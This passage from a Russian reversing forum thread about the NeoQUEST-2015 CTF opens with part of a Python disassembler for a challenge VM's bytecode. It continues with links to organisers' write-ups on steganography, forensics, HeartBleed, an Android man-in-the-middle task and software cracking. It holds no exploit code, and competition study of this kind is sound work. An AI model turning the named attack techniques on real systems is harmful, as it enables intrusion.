  74.       i += 8
  75.       src = skipZero(b[i:i+8])[::-1]
  76.       i += 8
  77.       print '%06x: %s %s, %s'%(addr,oc,dst,src)
  78.    elif oc == 'call':
  79.       imm = Q(b[i:i+8])
  80.       i += 16
  81.       if imm & 0x8000000000000000:
  82.          imm = (imm ^ 0xffffffffffffffff)+1
  83.          x = addr - 0x18 * imm
  84.          print '%06x: %s -0x%x (%06x)'%(addr,oc,imm,x)
  85.       else:
  86.          x = addr + 0x18 * imm
  87.          print '%06x: %s 0x%x (%06x)'%(addr,oc,imm,x)
  88.    elif oc == 'mb2r':
  89.       dst = skipZero(b[i:i+8])[::-1]
  90.       i += 8
  91.       src = skipZero(b[i:i+8])[::-1]
  92.       i += 8
  93.       print '%06x: %s %s, %s'%(addr,oc,dst,src)
  94.    elif oc == 'shft':
  95.       dst = skipZero(b[i:i+8])[::-1]
  96.       i += 8
  97.       imm = Q(b[i:i+8])
  98.       i += 8
  99.       if imm & 0x8000000000000000:
  100.          imm = (imm ^ 0xffffffffffffffff)+1
  101.          print '%06x: %s %s, -0x%x (<<)'%(addr,oc,dst,imm)
  102.       else:
  103.          print '%06x: %s %s, 0x%x (>>)'%(addr,oc,dst,imm)

где файл zzzz4 кусок дампа памяти.

-----
127.0.0.1, sweet 127.0.0.1


| Сообщение посчитали полезным: Crawler, r_e, daFix


Ранг: 216.9 (наставник), 85thx
Активность: 0.310.15
Статус: Участник
X-Literator

Создано: 17 марта 2015 18:27
· Личное сообщение · #13

OKOB, ну ты и мозг! Круто, я даже как-то не задумался, что ключ может быть прямо в картинке!)

А с MasonOS я бы точно не справился Вообще в этом направлении не думал.

-----
Харе курить веники и нюхать клей, к вам едет из Америки бог Шива, и он еврей.





Ранг: 527.7 (!), 381thx
Активность: 0.160.09
Статус: Участник
Победитель турнира 2010

Создано: 13 мая 2015 13:04 · Поправил: OKOB
· Личное сообщение · #14

Разбор 2х заданий от организаторов:
1. «Истина внутри» — стеганография в видео
2.«А был ли ключ?» — forensic и TrueCrypt

http://habrahabr.ru/company/neobit/blog/257737/

1. «Mystic Square» — «пятнашки» на Android
2. «Масон-connect» — реализуем HeartBleed
3. «raSSLedovanie» — Man-in-the-Middle атака на Android
4. «Дружба и братство» — реверс приложения на C#

http://habrahabr.ru/company/neobit/blog/258169/

-----
127.0.0.1, sweet 127.0.0.1





Ранг: 216.9 (наставник), 85thx
Активность: 0.310.15
Статус: Участник
X-Literator

Создано: 19 мая 2015 01:30
· Личное сообщение · #15

OKOB, бляяя.
И первое, и второе задания я почти решил.
Со стеганографией в видео - в принципе, я распаковывал и сравнивал по кадрам, но вот до Piet не добрался.

А во втором - вообще не догадался открыть картинки, которые были в криптоконтейнере, и тупо посмотреть глазами . Начал искать что-то сложное.

-----
Харе курить веники и нюхать клей, к вам едет из Америки бог Шива, и он еврей.





Ранг: 527.7 (!), 381thx
Активность: 0.160.09
Статус: Участник
Победитель турнира 2010

Создано: 02 июня 2015 17:57
· Личное сообщение · #16

3-я порция разбора заданий от организаторов

http://habrahabr.ru/company/neobit/blog/258893/

задание «Абракадабра», состоящее из двух частей.
Обе части — на криптоанализ: первая — на частотный, вторая — на дифференциальный.

-----
127.0.0.1, sweet 127.0.0.1


| Сообщение посчитали полезным: mak


Ранг: 527.7 (!), 381thx
Активность: 0.160.09
Статус: Участник
Победитель турнира 2010

Создано: 22 июня 2015 17:15 · Поправил: OKOB
· Личное сообщение · #17

Разбор еще одного задания от оргов

Масоны выбирают солнце: взлом программы для Sun Solaris & SPARC

http://habrahabr.ru/company/neobit/blog/255079/

-----
127.0.0.1, sweet 127.0.0.1




Ранг: 590.6 (!), 408thx
Активность: 0.360.18
Статус: Модератор

Создано: 23 июня 2015 19:05
· Личное сообщение · #18

Прикольные задания и решения. Позравляю всех кто пытался )))

-----
старый пень





Ранг: 527.7 (!), 381thx
Активность: 0.160.09
Статус: Участник
Победитель турнира 2010

Создано: 01 июля 2015 10:43
· Личное сообщение · #19

И снова здравствуйте...

Хардкорный олдскул: QEMU и реверс образа флоппика

http://habrahabr.ru/company/neobit/blog/261081/

-----
127.0.0.1, sweet 127.0.0.1


| Сообщение посчитали полезным: ClockMan, mak


Ранг: 527.7 (!), 381thx
Активность: 0.160.09
Статус: Участник
Победитель турнира 2010

Создано: 03 июля 2015 23:39
· Личное сообщение · #20

А вот так выглядит мой приз.



-----
127.0.0.1, sweet 127.0.0.1


| Сообщение посчитали полезным: 4kusNick, arrhangel

Ранг: 262.5 (наставник), 337thx
Активность: 0.340.25
Статус: Участник

Создано: 04 июля 2015 11:19
· Личное сообщение · #21

Cracked



Ранг: 419.0 (мудрец), 647thx
Активность: 0.460.51
Статус: Участник
"Тибериумный реверсинг"

Создано: 04 июля 2015 16:13
· Личное сообщение · #22

OKOB пишет:
А вот так выглядит мой приз.

Это тарелка (типа из неё кушать можно)??




Ранг: 568.2 (!), 465thx
Активность: 0.550.57
Статус: Участник
оптимист

Создано: 05 июля 2015 15:58
· Личное сообщение · #23

OKOB пишет:
А вот так выглядит мой приз.

Думал будет золотой

-----
Чтобы правильно задать вопрос, нужно знать большую часть ответа. Р.Шекли.




Ранг: 35.8 (посетитель), 23thx
Активность: 0.030
Статус: Участник

Создано: 29 февраля 2016 20:09 · Поправил: Psalmopoeus Pulcher
· Личное сообщение · #24

Если кому интересно, пришло на почту:

"Открыта регистрация на online-этап ежегодного соревнования по кибербезопасности NeoQUEST-2016, который пройдет с 11 по 21 марта!"

--> Регистрация <--
--> Хабр <--

Я за мафию создал.


 eXeL@B —› Оффтоп —› Cоревнования специалистов по кибербезопасности NeoQUEST-2015

У вас должно быть 20 пунктов ранга, чтобы оставлять сообщения в этом подфоруме, но у вас только 0

   Для печати Для печати